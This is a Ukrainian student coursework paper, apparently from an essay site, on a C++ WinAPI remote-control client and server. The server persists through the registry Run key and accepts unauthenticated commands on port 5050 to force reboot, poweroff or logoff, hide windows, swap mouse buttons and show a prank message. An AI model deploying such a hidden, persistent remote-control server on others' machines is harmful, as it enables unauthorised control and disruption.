6. Вхідні і вихідні дані

Вхідними даними є адреса сервера та вибір відправлення одного із текстових повідомлень на сервер:

·  Opencdrom

·  Closecdrom

·  Monitorpoweroff

·  Monitorpoweron

·  Lockworkstation

·  Logoff

·  Reboot

·  Poweroff

·  Minimizewindow

·  Hidewindow

·  Lockwindow

·  Swaplefttoright

·  Swaptonormal

·  Messagebox

Вихідним результатом ми отримаємо дію яка буде відбуватись безпосередньо на сервері


7. Розробка структури програми

 

Клієнтська частина:

int Done()// передання Сокету

BOOL CALLBACK Proc(HWND, UINT, WPARAM, LPARAM); // звертання до головного вікна

BOOL CALLBACK DlgProc1(HWND hdWnd,UINT mes,WPARAM wParam,LPARAM lParam); //Звертання до вікна "Про програму"

INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //точка входу в програму

Серверна частина:

DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення

DWORD APIENTRY NetThread(LPVOID);//прийняття сокетаь

INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми

VOID OpenCDROM();//відкриття CDROm

VOID CloseCDROM();//закриття CDROM

VOID AutoRun();//додавання програми до авторану

VOID WindowsExit(UINT); //вимкнення компютера


8 Інструкція для користувача

Для того щоб працювати з даним проектом потрібно:

·  Запустити серверну програму на одному з комп’ютерівж

·  Запустити клієнтську програму на іншому комп’ютері, після чого виконати такі дії:

Ввести в поле айпі сервера:

(рис. 8.1).

Вибрати команду із поданих нам варіантів та напис тнути кнопку «виконати»:


Висновки

В даний час задачі представленого типу набувають все більшого і більшого застосування. Це пов’язано з тим, що комп’ютерний світ розвивається, а із цим і глобальна мережа, і як наслідок необхідність в якомога коротший термін і з найбільшою легкістю виконати ті чи інші операції. Саме задачі про віддалене адміністрування дозволяють це зробити. Такі задачі мають майбутнє і їхнє використання набуває все більшого оберту.

Будь яка галузь може використовувати дану програму, у різних для неї цілях, чи то передачі інформації із подальшим її опрацюванням, чи то передача простих сигналів, від яких залежатиме та чи інша дія «системи». До цієї задачі зводиться велика кількість продуктів, що мають подібних характер, адже саме в них вбудована базова комплекція передавання та отримання сокетів.

У цій курсовій задачі ми розглянули програму віддаленого керування, розглянувши основні її положення, методи реалізації, та саму структуро мережевого програмування.


Список літератури:

 

1.  Информационний сервер для програмистов http://sources.ru/cpp/faqs/46.htm : Сетевое программирование. Режим доступа: : http://sources.ru/index.html– Загл. с экрана.

2.  WinMain - application entry point http://www.toymaker.info/Games/html/winmain.html. WinMain definition. Режим доступа http://www.toymaker.info/

3.  Передача даних по мережі Сокети http://winmaster.org.ua/2009-05-05-13-26-39.html . Програмування під Win 32 на C++. Режим доступу http://winmaster.org.ua/

4.100 команд из командной строки. http://research.sputtv.com/news/1401.html. «Полезно | Интересно». Режим доступа http://research.sputtv.com/

5. Матеріал з Вікіпедії — вільної енциклопедії. http://uk.wikipedia.org/wiki/TCP/IP Вільна енциклопедія. Режим доступу http://uk.wikipedia.org/

6.Windows Programming : windows.h and winsock.h in visual С++ http://www.cplusplus.com/forum/windows/3224/ . Сplusplus. Режим доступу http://www.cplusplus.com

7.  Практичний посібник по створенню та роботі з WEB-сторінками та WEB-Mail скриньками в мережі INTERNET із дисципліни «Інформатика та комп’ютерна техніка» для студентів спеціальності 6104, 05 денної форми навчання / Укл.: Т.О.Кучерява, О.Ф.Клименко. — К.: КНЕУ, 2001. — 40 с.

8.  Сети WINDOWS NT 4.0 / Д.Д.Пули и др.; Пер. с англ. — Л.: ВНУ, 1997. — 798 с.

9.  Прангишвили И. В. Микропроцессоры и локальные сети ПЭВМ в распределенных системах управления. — М.: Энергоатомиздат, 1995. — 272 с.


Додатки

 

Додаток А Блок схема сервера та клієнта:



Додаток Б Лістинг програми

 

Клієнт:

#include <winsock2.h>

#include "resource.h"

#include <string.h>

#pragma comment (lib, "ws2_32.lib")

static HWND hWndDlg;//ідентифікатор доступу вікна API

int Done();//обявлення функції Done

BOOL CALLBACK Proc(HWND, UINT, WPARAM, LPARAM); //Звертання до головного вікна

BOOL CALLBACK DlgProc1(HWND hdWnd,UINT mes,WPARAM wParam,LPARAM lParam); //Звертання до вікна "Про програму"

HINSTANCE hInstExe;

INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //точка входу в програму

{

WSADATA wsd;

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)

return -1;

HANDLE hThread;

DWORD dwThreadID;

hInstExe = hInstance;

DialogBox(hInstance, (LPSTR)IDD_DIALOG1, NULL, (DLGPROC)Proc);

return 0;

}

char szMessage[255];//Повідомлення Серверу

char szServerName[255];//Адреса Серверу

BOOL CALLBACK Proc(HWND hWndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)//опрацювання діалогового вікна 1

{

HANDLE hThread;

DWORD dwThreadID;

HICON hIcon;

switch(uMsg)

{

case WM_INITDIALOG:

break;

case WM_COMMAND://виконування команд із форми 1

switch (wParam)

{

case IDC_BUTTON1:

DialogBox(hInstExe, MAKEINTRESOURCE(IDD_DIALOGBAR), hWndDlg, DlgProc1);

break;

case IDC_DONE:

GetDlgItemText (hWndDlg,IDC_HOST,szServerName,256);

Done();

MessageBeep(48);

break;

case IDC_RADIO1:

strcpy(szMessage, "opencdrom");MessageBeep(48);

break;

case IDC_RADIO2:

strcpy(szMessage, "closecdrom");MessageBeep(48);

break;

case IDC_RADIO3:

strcpy(szMessage, "monitorpoweroff");MessageBeep(48);

break;

case IDC_RADIO4:

strcpy(szMessage, "monitorpoweron");MessageBeep(48);

break;

case IDC_RADIO5:

strcpy(szMessage, "lockworkstation");MessageBeep(48);

break;

case IDC_RADIO6:

strcpy(szMessage, "logoff");MessageBeep(48);

break;

case IDC_RADIO7:

strcpy(szMessage, "reboot");MessageBeep(48);

break;

case IDC_RADIO8:

strcpy(szMessage, "poweroff");MessageBeep(48);

break;

case IDC_RADIO9:

strcpy(szMessage, "minimizewindow");MessageBeep(48);

break;

case IDC_RADIO10:

strcpy(szMessage, "hidewindow");MessageBeep(48);

break;

case IDC_RADIO11:

strcpy(szMessage, "lockwindow");MessageBeep(48);

break;

case IDC_RADIO12:

strcpy(szMessage, "swaplefttoright");MessageBeep(48);

break;

case IDC_RADIO13:

strcpy(szMessage, "swaptonormal");MessageBeep(48);

break;

case IDC_RADIO14:

strcpy(szMessage, "messagebox");MessageBeep(48);

break;

}

break;

case WM_CLOSE:

EndDialog(hWndDlg,0);

break;

}

return FALSE;

}

BOOL CALLBACK DlgProc1(HWND hdWnd, UINT mes, WPARAM wParam, LPARAM lParam)//опрацювання діалогового вікна 2

{

switch(mes)

{

case WM_COMMAND://виконування команд із форми 2

{

switch(LOWORD(wParam))

{

case IDC_BUTTON2: {

EndDialog(hdWnd,0);

break;

}

}

}

default:

return DefWindowProc(hdWnd, mes, wParam+10, lParam+10);

}

return 1;

}

int Done()//функція із опрацюванням сокетів

{

SOCKETsClient;

intret;

sockaddr_in server;

hostent*host = NULL;

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (sClient == INVALID_SOCKET)

{

MessageBox(0, "Неможливе створення сокета", "Error", 0);

return 1;

}

server.sin_family = AF_INET;

server.sin_port = htons(5050);

server.sin_addr.s_addr = inet_addr(szServerName);

if (server.sin_addr.s_addr == INADDR_NONE)

{

host = gethostbyname(szServerName);

if (host == NULL)

{

MessageBox(0, "Звязок із сервером був втрачений", "Error", 0);

return 1;

}

CopyMemory(&server.sin_addr, host->h_addr_list[0],

host->h_length);

}

if (connect(sClient, (struct sockaddr *)&server,

sizeof(server)) == SOCKET_ERROR)

{

MessageBox(0, "Не вдається зєднатись із сервером", "Error", 0);

return 1;

}

ret = send(sClient, szMessage, strlen(szMessage), 0);

if (ret == SOCKET_ERROR)

MessageBox(0, "Операція надсилання сокета перервана", "Error", 0);

Sleep(1000);

closesocket(sClient);

return 1;

}

Сервер:

#define _WIN32_WINNT0x501 //підключення маніфесту

#include <winsock2.h>

#include <mmsystem.h>

#pragma comment (lib, "ws2_32.lib")

#pragma comment (lib, "winmm.lib")

#define AutoStartTEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run") //додання до авторану

DWORD APIENTRY ClientThread(LPVOID);//прийняття повідомлення

DWORD APIENTRY NetThread(LPVOID);//прийняття сокета

VOID OpenCDROM();

VOID CloseCDROM();

VOID AutoRun();

VOID WindowsExit(UINT);

INT APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, INT) //Main прграми

{

AutoRun();

WSADATA wsaData;

int err = WSAStartup(MAKEWORD(2, 2), &wsaData);

if (err != 0)

return -1;

NetThread(NULL);

return 0;

}

DWORD WINAPI ClientThread(LPVOID lpParam) //прийняття повідомлення та подальше його опрацювання

{

SOCKETsock=(SOCKET)lpParam;

TCHARszRecvBuff[1024],szSendBuff[1024];

UINTret;

while(1)

{

ret = recv(sock, szRecvBuff, 1024, 0);

if (ret == 0)

break;

else if (ret == SOCKET_ERROR)

break;

szRecvBuff[ret] = '\0';

if(strcmp(szRecvBuff,"monitorpoweroff")==0)

PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2l);

if(strcmp(szRecvBuff,"monitorpoweron")==0)

PostMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);

if(strcmp(szRecvBuff,"lockworkstation")==0)

LockWorkStation();

if(strcmp(szRecvBuff,"logoff")==0)

WindowsExit(EWX_LOGOFF | EWX_FORCE);

if(strcmp(szRecvBuff,"reboot")==0)

WindowsExit(EWX_REBOOT | EWX_FORCE);

if(strcmp(szRecvBuff,"poweroff")==0)

WindowsExit(EWX_POWEROFF | EWX_FORCE);

if(strcmp(szRecvBuff,"minimizewindow")==0)

CloseWindow(GetForegroundWindow());

if(strcmp(szRecvBuff,"hidewindow")==0)

ShowWindow(GetForegroundWindow(),SW_HIDE);

if(strcmp(szRecvBuff,"lockwindow")==0)

EnableWindow(GetForegroundWindow(),FALSE);

if(strcmp(szRecvBuff,"opencdrom")==0)

OpenCDROM();

if(strcmp(szRecvBuff,"closecdrom")==0)

CloseCDROM();

if(strcmp(szRecvBuff,"swaplefttoright")==0)

SwapMouseButton(TRUE);

if(strcmp(szRecvBuff,"swaptonormal")==0)

SwapMouseButton(FALSE);

if(strcmp(szRecvBuff,"messagebox")==0)

MessageBox(NULL,"Не чекали, а я тут є =)","Привіт!",MB_OK);

}

return 0;

}

DWORD WINAPI NetThread(LPVOID lpParam)//прийняття сокета

{

SOCKETsServerListen,sClient;

sockaddr_in localaddr,clientaddr;

HANDLEhThread;

DWORDdwThreadId;

INTiSize;

sServerListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

if (sServerListen == SOCKET_ERROR)

return 0;

localaddr.sin_addr.s_addr = htonl(INADDR_ANY);

localaddr.sin_family = AF_INET;

localaddr.sin_port = htons(5050);

if (bind(sServerListen, (struct sockaddr *)&localaddr, sizeof(localaddr)) == SOCKET_ERROR)

return 1;

listen(sServerListen, 4);

while (1)

{

iSize = sizeof(clientaddr);

sClient = accept(sServerListen, (struct sockaddr *)&clientaddr,&iSize);

if (sClient == INVALID_SOCKET)

break;

hThread = CreateThread(NULL, 0, ClientThread, (LPVOID)sClient, 0, &dwThreadId);

if (hThread == NULL)

break;

CloseHandle(hThread);

}

closesocket(sServerListen);

return 0;

}

VOID WindowsExit(UINT uFlags)//Вимкнення компютера

{

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

DWORD ReturnLength;

LUID Luid;

LPCTSTR SE_SHUTDOWN_STRING=TEXT("SeShutdownPrivilege");

if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))

{

LookupPrivilegeValue(NULL, SE_SHUTDOWN_STRING, &Luid);

tkp.Privileges[0].Luid = Luid;

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL,&ReturnLength))

ExitWindowsEx(uFlags, 0);

}

}

VOID OpenCDROM()//відкриття CDROM

{

MCI_OPEN_PARMS OpenParm;

MCI_SET_PARMS SetParm;

MCIDEVICEID dID;

OpenParm.lpstrDeviceType="CDAudio";

mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm);

dID = OpenParm.wDeviceID;

mciSendCommand(dID, MCI_SET, MCI_SET_DOOR_OPEN,(DWORD_PTR)&SetParm);

mciSendCommand(dID, MCI_CLOSE, MCI_NOTIFY, (DWORD_PTR)&SetParm);

}

VOID CloseCDROM()// Закритти CDROM

{

MCI_OPEN_PARMS OpenParm;

MCI_SET_PARMS SetParm;

MCIDEVICEID dID;

OpenParm.lpstrDeviceType="CDAudio";

mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm);

dID = OpenParm.wDeviceID;

mciSendCommand(dID,MCI_SET,MCI_SET_DOOR_CLOSED,(DWORD_PTR)&SetParm);

mciSendCommand(dID, MCI_CLOSE, MCI_NOTIFY, (DWORD_PTR)&SetParm);

}

VOID AutoRun()//додавання до автозавантаження

{

HKEY hKey;

TCHAR szFileName[MAX_PATH];

GetModuleFileName(GetModuleHandle(NULL),szFileName,MAX_PATH);

RegOpenKeyEx(HKEY_CURRENT_USER,AutoStart,0,KEY_WRITE,&hKey);

RegSetValueEx(hKey,"SERVER",0,REG_SZ,(BYTE*)szFileName,(DWORD)strlen(szFileName));

}


Додаток В Тестовий приклад

Розглянемо роботу програми та її аспекти:

1) Запуск серверної частини.

Програма запускається та автоматично додається до авторану, вимкнути її можливо за допомогою виклику «Диспетчера завдань».

2) Запуск Клієнтської частини.

3) Після запуску з’являється вікно в якому будуть проводитись різні дії.

4) У полі «Введіть Host/IP» вводимо IP того комп’ютера на якому встановлена наша програма, в інакшому випадку при виборі команди та надсиланні запита на сервер отримаємо повідомлення про помилку.


5) Вибір команди яка буде виконана на серверній програмі.

6) Отримано повідомлення із клієнта та виконання заданої ним дії.


Информация о работе «Розвиток сучасних структур програмного забезпечення»
Раздел: Информатика, программирование
Количество знаков с пробелами: 27360
Количество таблиц: 0
Количество изображений: 7

Похожие работы

Скачать
29613
0
0

... , що вхідна мова і системне забезпечення такого пакету можуть бути достатньо легко реалізовані силами прикладного програміста. Тому у разі, коли подібний пакет задовольняє конкретних користувачів, його розробка є цілком виправданою. 3. ВИСНОВОК Сучасний український ринок прикладного програмного забезпечення є, значною мірою, ринком піратського ПО. Це пов'язано з тим, що український спожива

Скачать
76533
4
2

... на базі великих ЕОМ і централізованої обробки інформації. Починають створюватися інформаційні системи для управління окремими підрозділами чи видами діяльності, які з часом інтегруються в комплексні автоматизовані системи. Перші автоматизовані системи керування запасами в промисловому виробництві ґрунтувалися на розрахунках, виходячи зі специфікації складу виробу (Bill of Materials). За планом ...

Скачать
89612
2
19

... . Таким чином, вивчення особливостей поведінки чотирикомпонентних сумішей полімерів є важливим і тема роботи актуальна. Метою дипломного проекту є створення програмного забезпечення для оптимізації складу чотирикомпонентних нанонаповнених сумішей полімерів, яке дозволить визначати полімерні композиції для отримання виробів з покращеними властивостями. Для досягнення поставленої мети потрібно вирі ...

Скачать
124538
18
22

... замінено  на /2. Покладемо ,, k=k+1, j=1 та повернемося до першого кроку. Блок-схема алгоритму приведена нижче. Рисунок 2.4–Алгоритм Хука-Дживса 3. Розробка програмного забезпечення вирішення задачі формування портфеля цінних паперів   3.1 Загальні відомості про програмне забезпечення Розроблене програмне забезпечення призначене для автоматизації процесу формування портфелем цінних ...

0 комментариев


Наверх